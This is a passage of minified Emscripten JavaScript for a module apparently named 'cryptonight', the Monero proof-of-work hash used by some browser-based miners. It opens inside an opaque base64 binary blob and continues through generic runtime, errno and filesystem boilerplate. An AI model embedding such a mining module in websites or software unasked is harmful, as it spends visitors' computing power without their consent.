F3vi8SDuu/DJTu9M5RZ/DweApi6DlyQX9964JD5RwNBJCkPE0onG3AeNE7ZXpO442Ty+YSohAHWOgbPYVR8FES4dSr/9+u0rx4grGMEZwtsXMbozmpNWkVr1PygDanYRLyD4YrnNXzkUwZNGt6KbOaBRcJWej2ozyyw7hFjPpBlialJmaH2CyIMJvhHvRzqx/oNGFGDJZW6GN3RnTUJocwKqltEafPWNn5ARruvbKGasLVu5+H7F56qkoIXTpvfc1OzZR7h1XrFp1UNN2OkbC/qN9cAH3NcGvmKTYQnjt7CCea2d5QYNjFeo626j6wztNMoMsg6dAOx8cJ0fzWUDwNLctdprnPk5s0iFP/bj9jTncV1nvjZsMSStJ69pbotdJaPNwDX07rtB6jVWE9aXp8OT4jmWguKL0NhA7UwyoB551PuxakWiUklboiE9bsFxV+Lq8TOO7O5nzh5R7ddr01nJrHF1krqwo3DSzbWw0pVC4KNtx+GHi8hCNUSrj22QzWd11/BysvPFDzj+iZ7vRPALoQ7AzClvKiCmhdX80GU20FlNckjuUww55TR55dHXXtu6vP+qo1Pe+GjkhXPR+CUwjJ1EmoyRTujI80kSjF0ptptWttR0+pq/yyQiDWT2YkWs8Vkz4fKFyhmBNRuI+zAhux/YvmDOzsbx2XivWZqXvxOYqBvS26L7B1DZ07oIVvO8hY/3BTg30U8lpp31axAZYWCZ+wRQWBuD6Fn6Qrz0oY50/0sny4wCb0gxfqs4wt9QMMHQqURby4DKYDesw2OPO+JpLxZ57tfF5kv9R5m4EhmjTmyNNV+aWZzHM5qbzFwp1BbF2gdkTMmzOPBdShPgFomL0K8uzeEcVR/9GVIIjk2pION9YB05eZWXy/HyJ/IZQjjFwLkTQC8qG8EAJojB4R05loO450fc4g/de6TfkLDq9IZeyJgET+G+jRO3R75/e54ug3xV2JZLZPIX39hLcQr7Yp+x8qyewflONfdqqPqjeqiXOk70Cadha9kP9GnMI+cBf79oXShmll01mM0z9IWo1tJgx20EVcOoeD7vtzVSbmtBjoVGXQHL2dZ2/kUdv4mN8d3vya2/FMAFnK/7Xq3bKgsl9+llH8K3Uoq+cpHLAt/2TJjY/98w0peXxcdgxFQTHI8MYlgWaBxKA4usnsnUJgywaG25aoFI71rMp4y+EU9EA7SD8sVtqy745SkxYz9DvqvtDTTOFRfkCf1A8n6hRo0CPkp049by22iEQ//PSzQwT7F+XRBfEp349ZF0Zc2CBT9wiKpCIRu64FN5eC9vgMjoKSQYkXMLTrGKRleR558g3bY3VTqlsVvTqZXquCLp4JS4cprTG6N10H0u9i4pwPrVmSAP2DmE1V7mGwR2e4fiYEWnZjpSbHofpzlUo34yhiQ2/5kJoQZktD7BUuxYBAgQIECBAgBs2"), t = r.length, n = new Uint8Array(t), o = 0; o < t; o++) n[o] = r.charCodeAt(o); | |
return n.buffer | |
}(), Module || (Module = (void 0 !== Module ? Module : null) || {}); | |
var moduleOverrides = {}; | |
for (var key in Module) Module.hasOwnProperty(key) && (moduleOverrides[key] = Module[key]); | |
if (ENVIRONMENT_IS_WEB = "object" == typeof window, ENVIRONMENT_IS_WORKER = "function" == typeof importScripts, !ENVIRONMENT_IS_WEB && !ENVIRONMENT_IS_WORKER) throw "Unknown runtime environment. Where are we?"; | |
if (Module.read = function(e) { | |
var r = new XMLHttpRequest; | |
return r.open("GET", e, !1), r.send(null), r.responseText | |
}, ENVIRONMENT_IS_WORKER && (Module.readBinary = function(e) { | |
var r = new XMLHttpRequest; | |
return r.open("GET", e, !1), r.responseType = "arraybuffer", r.send(null), new Uint8Array(r.response) | |
}), Module.readAsync = function(e, r, t) { | |
var n = new XMLHttpRequest; | |
n.open("GET", e, !0), n.responseType = "arraybuffer", n.onload = function() { | |
200 == n.status || 0 == n.status && n.response ? r(n.response) : t() | |
}, n.onerror = t, n.send(null) | |
}, "undefined" != typeof arguments && (Module.arguments = arguments), "undefined" != typeof console) Module.print || (Module.print = function(e) { | |
console.log(e) | |
}), Module.printErr || (Module.printErr = function(e) { | |
console.warn(e) | |
}); | |
else { | |
var TRY_USE_DUMP = !1; | |
Module.print || (Module.print = TRY_USE_DUMP && "undefined" != typeof dump ? function(e) { | |
dump(e) | |
} : function(e) {}) | |
} | |
ENVIRONMENT_IS_WORKER && (Module.load = importScripts), void 0 === Module.setWindowTitle && (Module.setWindowTitle = function(e) { | |
document.title = e | |
}), !Module.load && Module.read && (Module.load = function(e) { | |
globalEval(Module.read(e)) | |
}), Module.print || (Module.print = function() {}), Module.printErr || (Module.printErr = Module.print), Module.arguments || (Module.arguments = []), Module.thisProgram || (Module.thisProgram = "./this.program"), Module.quit || (Module.quit = function(e, r) { | |
throw r | |
}), Module.print = Module.print, Module.printErr = Module.printErr, Module.preRun = [], Module.postRun = []; | |
for (var key in moduleOverrides) moduleOverrides.hasOwnProperty(key) && (Module[key] = moduleOverrides[key]); | |
moduleOverrides = void 0; | |
var Runtime = { | |
setTempRet0: function(e) { | |
return tempRet0 = e, e | |
}, | |
getTempRet0: function() { | |
return tempRet0 | |
}, | |
stackSave: function() { | |
return STACKTOP | |
}, | |
stackRestore: function(e) { | |
STACKTOP = e | |
}, | |
getNativeTypeSize: function(e) { | |
switch (e) { | |
case "i1": | |
case "i8": | |
return 1; | |
case "i16": | |
return 2; | |
case "i32": | |
return 4; | |
case "i64": | |
return 8; | |
case "float": | |
return 4; | |
case "double": | |
return 8; | |
default: | |
if ("*" === e[e.length - 1]) return Runtime.QUANTUM_SIZE; | |
if ("i" === e[0]) { | |
var r = parseInt(e.substr(1)); | |
return assert(r % 8 == 0), r / 8 | |
} | |
return 0 | |
} | |
}, | |
getNativeFieldSize: function(e) { | |
return Math.max(Runtime.getNativeTypeSize(e), Runtime.QUANTUM_SIZE) | |
}, | |
STACK_ALIGN: 16, | |
prepVararg: function(e, r) { | |
return "double" === r || "i64" === r ? 7 & e && (assert(4 == (7 & e)), e += 4) : assert(0 == (3 & e)), e | |
}, | |
getAlignSize: function(e, r, t) { | |
return t || "i64" != e && "double" != e ? e ? Math.min(r || (e ? Runtime.getNativeFieldSize(e) : 0), Runtime.QUANTUM_SIZE) : Math.min(r, 8) : 8 | |
}, | |
dynCall: function(e, r, t) { | |
return t && t.length ? Module["dynCall_" + e].apply(null, [r].concat(t)) : Module["dynCall_" + e].call(null, r) | |
}, | |
functionPointers: [], | |
addFunction: function(e) { | |
for (var r = 0; r < Runtime.functionPointers.length; r++) | |
if (!Runtime.functionPointers[r]) return Runtime.functionPointers[r] = e, 2 * (1 + r); | |
throw "Finished up all reserved function pointers. Use a higher value for RESERVED_FUNCTION_POINTERS." | |
}, | |
removeFunction: function(e) { | |
Runtime.functionPointers[(e - 2) / 2] = null | |
}, | |
warnOnce: function(e) { | |
Runtime.warnOnce.shown || (Runtime.warnOnce.shown = {}), Runtime.warnOnce.shown[e] || (Runtime.warnOnce.shown[e] = 1, Module.printErr(e)) | |
}, | |
funcWrappers: {}, | |
getFuncWrapper: function(e, r) { | |
assert(r), Runtime.funcWrappers[r] || (Runtime.funcWrappers[r] = {}); | |
var t = Runtime.funcWrappers[r]; | |
return t[e] || (1 === r.length ? t[e] = function() { | |
return Runtime.dynCall(r, e) | |
} : 2 === r.length ? t[e] = function(t) { | |
return Runtime.dynCall(r, e, [t]) | |
} : t[e] = function() { | |
return Runtime.dynCall(r, e, Array.prototype.slice.call(arguments)) | |
}), t[e] | |
}, | |
getCompilerSetting: function(e) { | |
throw "You must build with -s RETAIN_COMPILER_SETTINGS=1 for Runtime.getCompilerSetting or emscripten_get_compiler_setting to work" | |
}, | |
stackAlloc: function(e) { | |
var r = STACKTOP; | |
return STACKTOP = STACKTOP + e | 0, STACKTOP = STACKTOP + 15 & -16, r | |
}, | |
staticAlloc: function(e) { | |
var r = STATICTOP; | |
return STATICTOP = STATICTOP + e | 0, STATICTOP = STATICTOP + 15 & -16, r | |
}, | |
dynamicAlloc: function(e) { | |
var r = HEAP32[DYNAMICTOP_PTR >> 2], | |
t = -16 & (r + e + 15 | 0); | |
if (HEAP32[DYNAMICTOP_PTR >> 2] = t, t >= TOTAL_MEMORY) { | |
if (!enlargeMemory()) return HEAP32[DYNAMICTOP_PTR >> 2] = r, 0 | |
} | |
return r | |
}, | |
alignMemory: function(e, r) { | |
return e = Math.ceil(e / (r || 16)) * (r || 16) | |
}, | |
makeBigInt: function(e, r, t) { | |
return t ? +(e >>> 0) + 4294967296 * +(r >>> 0) : +(e >>> 0) + 4294967296 * +(0 | r) | |
}, | |
GLOBAL_BASE: 1024, | |
QUANTUM_SIZE: 4, | |
__dummy__: 0 | |
}; | |
Module.Runtime = Runtime; | |
var ABORT = 0, | |
EXITSTATUS = 0, | |
cwrap, ccall; | |
! function() { | |
function parseJSFunc(e) { | |
var r = e.toString().match(sourceRegex).slice(1); | |
return { | |
arguments: r[0], | |
body: r[1], | |
returnValue: r[2] | |
} | |
} | |
function ensureJSsource() { | |
if (!JSsource) { | |
JSsource = {}; | |
for (var e in JSfuncs) JSfuncs.hasOwnProperty(e) && (JSsource[e] = parseJSFunc(JSfuncs[e])) | |
} | |
} | |
var JSfuncs = { | |
stackSave: function() { | |
Runtime.stackSave() | |
}, | |
stackRestore: function() { | |
Runtime.stackRestore() | |
}, | |
arrayToC: function(e) { | |
var r = Runtime.stackAlloc(e.length); | |
return writeArrayToMemory(e, r), r | |
}, | |
stringToC: function(e) { | |
var r = 0; | |
if (null !== e && void 0 !== e && 0 !== e) { | |
var t = 1 + (e.length << 2); | |
stringToUTF8(e, r = Runtime.stackAlloc(t), t) | |
} | |
return r | |
} | |
}, | |
toC = { | |
string: JSfuncs.stringToC, | |
array: JSfuncs.arrayToC | |
}; | |
ccall = function(e, r, t, n, o) { | |
var i = getCFunc(e), | |
a = [], | |
s = 0; | |
if (n) | |
for (var u = 0; u < n.length; u++) { | |
var l = toC[t[u]]; | |
l ? (0 === s && (s = Runtime.stackSave()), a[u] = l(n[u])) : a[u] = n[u] | |
} | |
var c = i.apply(null, a); | |
if ("string" === r && (c = Pointer_stringify(c)), 0 !== s) { | |
if (o && o.async) return void EmterpreterAsync.asyncFinalizers.push(function() { | |
Runtime.stackRestore(s) | |
}); | |
Runtime.stackRestore(s) | |
} | |
return c | |
}; | |
var sourceRegex = /^function\\s*[a-zA-Z$_0-9]*\\s*\\(([^)]*)\\)\\s*\\{\\s*([^*]*?)[\\s;]*(?:return\\s*(.*?)[;\\s]*)?\\}$/, | |
JSsource = null; | |
cwrap = function cwrap(ident, returnType, argTypes) { | |
argTypes = argTypes || []; | |
var cfunc = getCFunc(ident), | |
numericArgs = argTypes.every(function(e) { | |
return "number" === e | |
}), | |
numericRet = "string" !== returnType; | |
if (numericRet && numericArgs) return cfunc; | |
var argNames = argTypes.map(function(e, r) { | |
return "$" + r | |
}), | |
funcstr = "(function(" + argNames.join(",") + ") {", | |
nargs = argTypes.length; | |
if (!numericArgs) { | |
ensureJSsource(), funcstr += "var stack = " + JSsource.stackSave.body + ";"; | |
for (var i = 0; i < nargs; i++) { | |
var arg = argNames[i], | |
type = argTypes[i]; | |
if ("number" !== type) { | |
var convertCode = JSsource[type + "ToC"]; | |
funcstr += "var " + convertCode.arguments + " = " + arg + ";", funcstr += convertCode.body + ";", funcstr += arg + "=(" + convertCode.returnValue + ");" | |
} | |
} | |
} | |
var cfuncname = parseJSFunc(function() { | |
return cfunc | |
}).returnValue; | |
if (funcstr += "var ret = " + cfuncname + "(" + argNames.join(",") + ");", !numericRet) { | |
var strgfy = parseJSFunc(function() { | |
return Pointer_stringify | |
}).returnValue; | |
funcstr += "ret = " + strgfy + "(ret);" | |
} | |
return numericArgs || (ensureJSsource(), funcstr += JSsource.stackRestore.body.replace("()", "(stack)") + ";"), funcstr += "return ret})", eval(funcstr) | |
} | |
}(), Module.ccall = ccall, Module.cwrap = cwrap, Module.setValue = setValue, Module.getValue = getValue; | |
var ALLOC_NORMAL = 0, | |
ALLOC_STACK = 1, | |
ALLOC_STATIC = 2, | |
ALLOC_DYNAMIC = 3, | |
ALLOC_NONE = 4; | |
Module.ALLOC_NORMAL = ALLOC_NORMAL, Module.ALLOC_STACK = ALLOC_STACK, Module.ALLOC_STATIC = ALLOC_STATIC, Module.ALLOC_DYNAMIC = ALLOC_DYNAMIC, Module.ALLOC_NONE = ALLOC_NONE, Module.allocate = allocate, Module.getMemory = getMemory, Module.Pointer_stringify = Pointer_stringify, Module.AsciiToString = AsciiToString, Module.stringToAscii = stringToAscii; | |
var UTF8Decoder = "undefined" != typeof TextDecoder ? new TextDecoder("utf8") : void 0; | |
Module.UTF8ArrayToString = UTF8ArrayToString, Module.UTF8ToString = UTF8ToString, Module.stringToUTF8Array = stringToUTF8Array, Module.stringToUTF8 = stringToUTF8, Module.lengthBytesUTF8 = lengthBytesUTF8; | |
var UTF16Decoder = "undefined" != typeof TextDecoder ? new TextDecoder("utf-16le") : void 0; | |
Module.stackTrace = stackTrace; | |
var WASM_PAGE_SIZE = 65536, | |
ASMJS_PAGE_SIZE = 16777216, | |
HEAP, buffer, HEAP8, HEAPU8, HEAP16, HEAPU16, HEAP32, HEAPU32, HEAPF32, HEAPF64, STATIC_BASE, STATICTOP, staticSealed, STACK_BASE, STACKTOP, STACK_MAX, DYNAMIC_BASE, DYNAMICTOP_PTR; | |
STATIC_BASE = STATICTOP = STACK_BASE = STACKTOP = STACK_MAX = DYNAMIC_BASE = DYNAMICTOP_PTR = 0, staticSealed = !1; | |
var TOTAL_STACK = Module.TOTAL_STACK || 5242880, | |
TOTAL_MEMORY = Module.TOTAL_MEMORY || 16777216; | |
if (TOTAL_MEMORY < TOTAL_STACK && Module.printErr("TOTAL_MEMORY should be larger than TOTAL_STACK, was " + TOTAL_MEMORY + "! (TOTAL_STACK=" + TOTAL_STACK + ")"), Module.buffer ? buffer = Module.buffer : "object" == typeof WebAssembly && "function" == typeof WebAssembly.Memory ? (Module.wasmMemory = new WebAssembly.Memory({ | |
initial: TOTAL_MEMORY / WASM_PAGE_SIZE, | |
maximum: TOTAL_MEMORY / WASM_PAGE_SIZE | |
}), buffer = Module.wasmMemory.buffer) : buffer = new ArrayBuffer(TOTAL_MEMORY), updateGlobalBufferViews(), HEAP32[0] = 1668509029, HEAP16[1] = 25459, 115 !== HEAPU8[2] || 99 !== HEAPU8[3]) throw "Runtime error: expected the system to be little-endian!"; | |
Module.HEAP = HEAP, Module.buffer = buffer, Module.HEAP8 = HEAP8, Module.HEAP16 = HEAP16, Module.HEAP32 = HEAP32, Module.HEAPU8 = HEAPU8, Module.HEAPU16 = HEAPU16, Module.HEAPU32 = HEAPU32, Module.HEAPF32 = HEAPF32, Module.HEAPF64 = HEAPF64; | |
var __ATPRERUN__ = [], | |
__ATINIT__ = [], | |
__ATMAIN__ = [], | |
__ATEXIT__ = [], | |
__ATPOSTRUN__ = [], | |
runtimeInitialized = !1, | |
runtimeExited = !1; | |
if (Module.addOnPreRun = addOnPreRun, Module.addOnInit = addOnInit, Module.addOnPreMain = addOnPreMain, Module.addOnExit = addOnExit, Module.addOnPostRun = addOnPostRun, Module.intArrayFromString = intArrayFromString, Module.intArrayToString = intArrayToString, Module.writeStringToMemory = writeStringToMemory, Module.writeArrayToMemory = writeArrayToMemory, Module.writeAsciiToMemory = writeAsciiToMemory, Math.imul && -5 === Math.imul(4294967295, 5) || (Math.imul = function(e, r) { | |
var t = 65535 & e, | |
n = 65535 & r; | |
return t * n + ((e >>> 16) * n + t * (r >>> 16) << 16) | 0 | |
}), Math.imul = Math.imul, !Math.fround) { | |
var froundBuffer = new Float32Array(1); | |
Math.fround = function(e) { | |
return froundBuffer[0] = e, froundBuffer[0] | |
} | |
} | |
Math.fround = Math.fround, Math.clz32 || (Math.clz32 = function(e) { | |
e >>>= 0; | |
for (var r = 0; r < 32; r++) | |
if (e & 1 << 31 - r) return r; | |
return 32 | |
}), Math.clz32 = Math.clz32, Math.trunc || (Math.trunc = function(e) { | |
return e < 0 ? Math.ceil(e) : Math.floor(e) | |
}), Math.trunc = Math.trunc; | |
var Math_abs = Math.abs, | |
Math_cos = Math.cos, | |
Math_sin = Math.sin, | |
Math_tan = Math.tan, | |
Math_acos = Math.acos, | |
Math_asin = Math.asin, | |
Math_atan = Math.atan, | |
Math_atan2 = Math.atan2, | |
Math_exp = Math.exp, | |
Math_log = Math.log, | |
Math_sqrt = Math.sqrt, | |
Math_ceil = Math.ceil, | |
Math_floor = Math.floor, | |
Math_pow = Math.pow, | |
Math_imul = Math.imul, | |
Math_fround = Math.fround, | |
Math_round = Math.round, | |
Math_min = Math.min, | |
Math_clz32 = Math.clz32, | |
Math_trunc = Math.trunc, | |
runDependencies = 0, | |
runDependencyWatcher = null, | |
dependenciesFulfilled = null; | |
Module.addRunDependency = addRunDependency, Module.removeRunDependency = removeRunDependency, Module.preloadedImages = {}, Module.preloadedAudios = {}; | |
var memoryInitializer = null; | |
integrateWasmJS(Module); | |
var ASM_CONSTS = []; | |
STATIC_BASE = Runtime.GLOBAL_BASE, STATICTOP = STATIC_BASE + 12512, __ATINIT__.push(), memoryInitializer = Module.wasmJSMethod.indexOf("asmjs") >= 0 || Module.wasmJSMethod.indexOf("interpret-asm2wasm") >= 0 ? "cryptonight.js.mem" : null; | |
var STATIC_BUMP = 12512; | |
Module.STATIC_BASE = STATIC_BASE, Module.STATIC_BUMP = STATIC_BUMP; | |
var tempDoublePtr = STATICTOP; | |
STATICTOP += 16; | |
var PROCINFO = { | |
ppid: 1, | |
pid: 42, | |
sid: 42, | |
pgid: 42 | |
}, | |
ERRNO_CODES = { | |
EPERM: 1, | |
ENOENT: 2, | |
ESRCH: 3, | |
EINTR: 4, | |
EIO: 5, | |
ENXIO: 6, | |
E2BIG: 7, | |
ENOEXEC: 8, | |
EBADF: 9, | |
ECHILD: 10, | |
EAGAIN: 11, | |
EWOULDBLOCK: 11, | |
ENOMEM: 12, | |
EACCES: 13, | |
EFAULT: 14, | |
ENOTBLK: 15, | |
EBUSY: 16, | |
EEXIST: 17, | |
EXDEV: 18, | |
ENODEV: 19, | |
ENOTDIR: 20, | |
EISDIR: 21, | |
EINVAL: 22, | |
ENFILE: 23, | |
EMFILE: 24, | |
ENOTTY: 25, | |
ETXTBSY: 26, | |
EFBIG: 27, | |
ENOSPC: 28, | |
ESPIPE: 29, | |
EROFS: 30, | |
EMLINK: 31, | |
EPIPE: 32, | |
EDOM: 33, | |
ERANGE: 34, | |
ENOMSG: 42, | |
EIDRM: 43, | |
ECHRNG: 44, | |
EL2NSYNC: 45, | |
EL3HLT: 46, | |
EL3RST: 47, | |
ELNRNG: 48, | |
EUNATCH: 49, | |
ENOCSI: 50, | |
EL2HLT: 51, | |
EDEADLK: 35, | |
ENOLCK: 37, | |
EBADE: 52, | |
EBADR: 53, | |
EXFULL: 54, | |
ENOANO: 55, | |
EBADRQC: 56, | |
EBADSLT: 57, | |
EDEADLOCK: 35, | |
EBFONT: 59, | |
ENOSTR: 60, | |
ENODATA: 61, | |
ETIME: 62, | |
ENOSR: 63, | |
ENONET: 64, | |
ENOPKG: 65, | |
EREMOTE: 66, | |
ENOLINK: 67, | |
EADV: 68, | |
ESRMNT: 69, | |
ECOMM: 70, | |
EPROTO: 71, | |
EMULTIHOP: 72, | |
EDOTDOT: 73, | |
EBADMSG: 74, | |
ENOTUNIQ: 76, | |
EBADFD: 77, | |
EREMCHG: 78, | |
ELIBACC: 79, | |
ELIBBAD: 80, | |
ELIBSCN: 81, | |
ELIBMAX: 82, | |
ELIBEXEC: 83, | |
ENOSYS: 38, | |
ENOTEMPTY: 39, | |
ENAMETOOLONG: 36, | |
ELOOP: 40, | |
EOPNOTSUPP: 95, | |
EPFNOSUPPORT: 96, | |
ECONNRESET: 104, | |
ENOBUFS: 105, | |
EAFNOSUPPORT: 97, | |
EPROTOTYPE: 91, | |
ENOTSOCK: 88, | |
ENOPROTOOPT: 92, | |
ESHUTDOWN: 108, | |
ECONNREFUSED: 111, | |
EADDRINUSE: 98, | |
ECONNABORTED: 103, | |
ENETUNREACH: 101, | |
ENETDOWN: 100, | |
ETIMEDOUT: 110, | |
EHOSTDOWN: 112, | |
EHOSTUNREACH: 113, | |
EINPROGRESS: 115, | |
EALREADY: 114, | |
EDESTADDRREQ: 89, | |
EMSGSIZE: 90, | |
EPROTONOSUPPORT: 93, | |
ESOCKTNOSUPPORT: 94, | |
EADDRNOTAVAIL: 99, | |
ENETRESET: 102, | |
EISCONN: 106, | |
ENOTCONN: 107, | |
ETOOMANYREFS: 109, | |
EUSERS: 87, | |
EDQUOT: 122, | |
ESTALE: 116, | |
ENOTSUP: 95, | |
ENOMEDIUM: 123, | |
EILSEQ: 84, | |
EOVERFLOW: 75, | |
ECANCELED: 125, | |
ENOTRECOVERABLE: 131, | |
EOWNERDEAD: 130, | |
ESTRPIPE: 86 | |
}, | |
ERRNO_MESSAGES = { | |
0: "Success", | |
1: "Not super-user", | |
2: "No such file or directory", | |
3: "No such process", | |
4: "Interrupted system call", | |
5: "I/O error", | |
6: "No such device or address", | |
7: "Arg list too long", | |
8: "Exec format error", | |
9: "Bad file number", | |
10: "No children", | |
11: "No more processes", | |
12: "Not enough core", | |
13: "Permission denied", | |
14: "Bad address", | |
15: "Block device required", | |
16: "Mount device busy", | |
17: "File exists", | |
18: "Cross-device link", | |
19: "No such device", | |
20: "Not a directory", | |
21: "Is a directory", | |
22: "Invalid argument", | |
23: "Too many open files in system", | |
24: "Too many open files", | |
25: "Not a typewriter", | |
26: "Text file busy", | |
27: "File too large", | |
28: "No space left on device", | |
29: "Illegal seek", | |
30: "Read only file system", | |
31: "Too many links", | |
32: "Broken pipe", | |
33: "Math arg out of domain of func", | |
34: "Math result not representable", | |
35: "File locking deadlock error", | |
36: "File or path name too long", | |
37: "No record locks available", | |
38: "Function not implemented", | |
39: "Directory not empty", | |
40: "Too many symbolic links", | |
42: "No message of desired type", | |
43: "Identifier removed", | |
44: "Channel number out of range", | |
45: "Level 2 not synchronized", | |
46: "Level 3 halted", | |
47: "Level 3 reset", | |
48: "Link number out of range", | |
49: "Protocol driver not attached", | |
50: "No CSI structure available", | |
51: "Level 2 halted", | |
52: "Invalid exchange", | |
53: "Invalid request descriptor", | |
54: "Exchange full", | |
55: "No anode", | |
56: "Invalid request code", | |
57: "Invalid slot", | |
59: "Bad font file fmt", | |
60: "Device not a stream", | |
61: "No data (for no delay io)", | |
62: "Timer expired", | |
63: "Out of streams resources", | |
64: "Machine is not on the network", | |
65: "Package not installed", | |
66: "The object is remote", | |
67: "The link has been severed", | |
68: "Advertise error", | |
69: "Srmount error", | |
70: "Communication error on send", | |
71: "Protocol error", | |
72: "Multihop attempted", | |
73: "Cross mount point (not really error)", | |
74: "Trying to read unreadable message", | |
75: "Value too large for defined data type", | |
76: "Given log. name not unique", | |
77: "f.d. invalid for this operation", | |
78: "Remote address changed", | |
79: "Can access a needed shared lib", | |
80: "Accessing a corrupted shared lib", | |
81: ".lib section in a.out corrupted", | |
82: "Attempting to link in too many libs", | |
83: "Attempting to exec a shared library", | |
84: "Illegal byte sequence", | |
86: "Streams pipe error", | |
87: "Too many users", | |
88: "Socket operation on non-socket", | |
89: "Destination address required", | |
90: "Message too long", | |
91: "Protocol wrong type for socket", | |
92: "Protocol not available", | |
93: "Unknown protocol", | |
94: "Socket type not supported", | |
95: "Not supported", | |
96: "Protocol family not supported", | |
97: "Address family not supported by protocol family", | |
98: "Address already in use", | |
99: "Address not available", | |
100: "Network interface is not configured", | |
101: "Network is unreachable", | |
102: "Connection reset by network", | |
103: "Connection aborted", | |
104: "Connection reset by peer", | |
105: "No buffer space available", | |
106: "Socket is already connected", | |
107: "Socket is not connected", | |
108: "Can't send after socket shutdown", | |
109: "Too many references", | |
110: "Connection timed out", | |
111: "Connection refused", | |
112: "Host is down", | |
113: "Host is unreachable", | |
114: "Socket already connected", | |
115: "Connection already in progress", | |
116: "Stale file handle", | |
122: "Quota exceeded", | |
123: "No medium (in tape drive)", | |
125: "Operation canceled", | |
130: "Previous owner died", | |
131: "State not recoverable" | |
}, | |
PATH = { | |
splitPath: function(e) { | |
return /^(\\/ ? | )([\\s\\ S] * ? )(( ? : \\. { | |
1, | |
2 | |
} | [ ^ \\/]+?|)(\\.[^.\\/]*|))(?:[\\/]*)$/.exec(e).slice(1) | |
}, normalizeArray: function(e, r) { | |
for (var t = 0, n = e.length - 1; n >= 0; n--) { | |
var o = e[n]; | |
"." === o ? e.splice(n, 1) : ".." === o ? (e.splice(n, 1), t++) : t && (e.splice(n, 1), t--) | |
} | |
if (r) | |
for (; t; t--) e.unshift(".."); | |
return e | |
}, normalize: function(e) { | |
var r = "/" === e.charAt(0), | |
t = "/" === e.substr(-1); | |
return (e = PATH.normalizeArray(e.split("/").filter(function(e) { | |
return !!e | |
}), !r).join("/")) || r || (e = "."), e && t && (e += "/"), (r ? "/" : "") + e | |
}, dirname: function(e) { | |
var r = PATH.splitPath(e), | |
t = r[0], | |
n = r[1]; | |
return t || n ? (n && (n = n.substr(0, n.length - 1)), t + n) : "." | |
}, basename: function(e) { | |
if ("/" === e) return "/"; | |
var r = e.lastIndexOf("/"); | |
return -1 === r ? e : e.substr(r + 1) | |
}, extname: function(e) { | |
return PATH.splitPath(e)[3] | |
}, join: function() { | |
var e = Array.prototype.slice.call(arguments, 0); | |
return PATH.normalize(e.join("/")) | |
}, join2: function(e, r) { | |
return PATH.normalize(e + "/" + r) | |
}, resolve: function() { | |
for (var e = "", r = !1, t = arguments.length - 1; t >= -1 && !r; t--) { | |
var n = t >= 0 ? arguments[t] : FS.cwd(); | |
if ("string" != typeof n) throw new TypeError("Arguments to path.resolve must be strings"); | |
if (!n) return ""; | |
e = n + "/" + e, r = "/" === n.charAt(0) | |
} | |
return e = PATH.normalizeArray(e.split("/").filter(function(e) { | |
return !!e | |
}), !r).join("/"), (r ? "/" : "") + e || "." | |
}, relative: function(e, r) { | |
function t(e) { | |
for (var r = 0; r < e.length && "" === e[r]; r++); | |
for (var t = e.length - 1; t >= 0 && "" === e[t]; t--); | |
return r > t ? [] : e.slice(r, t - r + 1) | |
} | |
e = PATH.resolve(e).substr(1), r = PATH.resolve(r).substr(1); | |
for (var n = t(e.split("/")), o = t(r.split("/")), i = Math.min(n.length, o.length), a = i, s = 0; s < i; s++) | |
if (n[s] !== o[s]) { | |
a = s; | |
break | |
} | |
var u = []; | |
for (s = a; s < n.length; s++) u.push(".."); | |
return (u = u.concat(o.slice(a))).join("/") | |
} | |
}, TTY = { | |
ttys: [], | |
init: function() {}, | |
shutdown: function() {}, | |
register: function(e, r) { | |
TTY.ttys[e] = { | |
input: [], | |
output: [], | |
ops: r | |
}, FS.registerDevice(e, TTY.stream_ops) | |
}, | |
stream_ops: { | |
open: function(e) { | |
var r = TTY.ttys[e.node.rdev]; | |
if (!r) throw new FS.ErrnoError(ERRNO_CODES.ENODEV); | |
e.tty = r, e.seekable = !1 | |
}, | |
close: function(e) { | |
e.tty.ops.flush(e.tty) | |
}, | |
flush: function(e) { | |
e.tty.ops.flush(e.tty) | |
}, | |
read: function(e, r, t, n, o) { | |
if (!e.tty || !e.tty.ops.get_char) throw new FS.ErrnoError(ERRNO_CODES.ENXIO); | |
for (var i = 0, a = 0; a < n; a++) { | |
var s; | |
try { | |
s = e.tty.ops.get_char(e.tty) | |
} catch (e) { | |
throw new FS.ErrnoError(ERRNO_CODES.EIO) | |
} | |
if (void 0 === s && 0 === i) throw new FS.ErrnoError(ERRNO_CODES.EAGAIN); | |
if (null === s || void 0 === s) break; | |
i++, r[t + a] = s | |
} | |
return i && (e.node.timestamp = Date.now()), i | |
}, | |
write: function(e, r, t, n, o) { | |
if (!e.tty || !e.tty.ops.put_char) throw new FS.ErrnoError(ERRNO_CODES.ENXIO); | |
for (var i = 0; i < n; i++) try { | |
e.tty.ops.put_char(e.tty, r[t + i]) | |
} catch (e) { | |
throw new FS.ErrnoError(ERRNO_CODES.EIO) | |
} | |
return n && (e.node.timestamp = Date.now()), i | |
} | |
}, | |
default_tty_ops: { | |
get_char: function(e) { | |
if (!e.input.length) { | |
var r = null; | |
if ("undefined" != typeof window && "function" == typeof window.prompt ? null !== (r = window.prompt("Input: ")) && (r += "\\n") : "function" == typeof readline && null !== (r = readline()) && (r += "\\n"), !r) return null; | |
e.input = intArrayFromString(r, !0) | |
} | |
return e.input.shift() | |
}, | |
put_char: function(e, r) { | |
null === r || 10 === r ? (Module.print(UTF8ArrayToString(e.output, 0)), e.output = []) : 0 != r && e.output.push(r) | |
}, | |
flush: function(e) { | |
e.output && e.output.length > 0 && (Module.print(UTF8ArrayToString(e.output, 0)), e.output = []) | |
} | |
}, | |
default_tty1_ops: { | |
put_char: function(e, r) { | |
null === r || 10 === r ? (Module.printErr(UTF8ArrayToString(e.output, 0)), e.output = []) : 0 != r && e.output.push(r) | |
}, | |
flush: function(e) { | |
e.output && e.output.length > 0 && (Module.printErr(UTF8ArrayToString(e.output, 0)), e.output = []) | |
} | |
} | |
}, MEMFS = { | |
ops_table: null, | |
mount: function(e) { | |
return MEMFS.createNode(null, "/", 16895, 0) | |
}, | |
createNode: function(e, r, t, n) { | |
if (FS.isBlkdev(t) || FS.isFIFO(t)) throw new FS.ErrnoError(ERRNO_CODES.EPERM); | |
MEMFS.ops_table || (MEMFS.ops_table = { | |
dir: { | |
node: { | |
getattr: MEMFS.node_ops.getattr, | |
setattr: MEMFS.node_ops.setattr, | |
lookup: MEMFS.node_ops.lookup, | |
mknod: MEMFS.node_ops.mknod, | |
rename: MEMFS.node_ops.rename, | |
unlink: MEMFS.node_ops.unlink, | |
rmdir: MEMFS.node_ops.rmdir, | |
readdir: MEMFS.node_ops.readdir, | |
symlink: MEMFS.node_ops.symlink | |
}, | |
stream: { | |
llseek: MEMFS.stream_ops.llseek | |
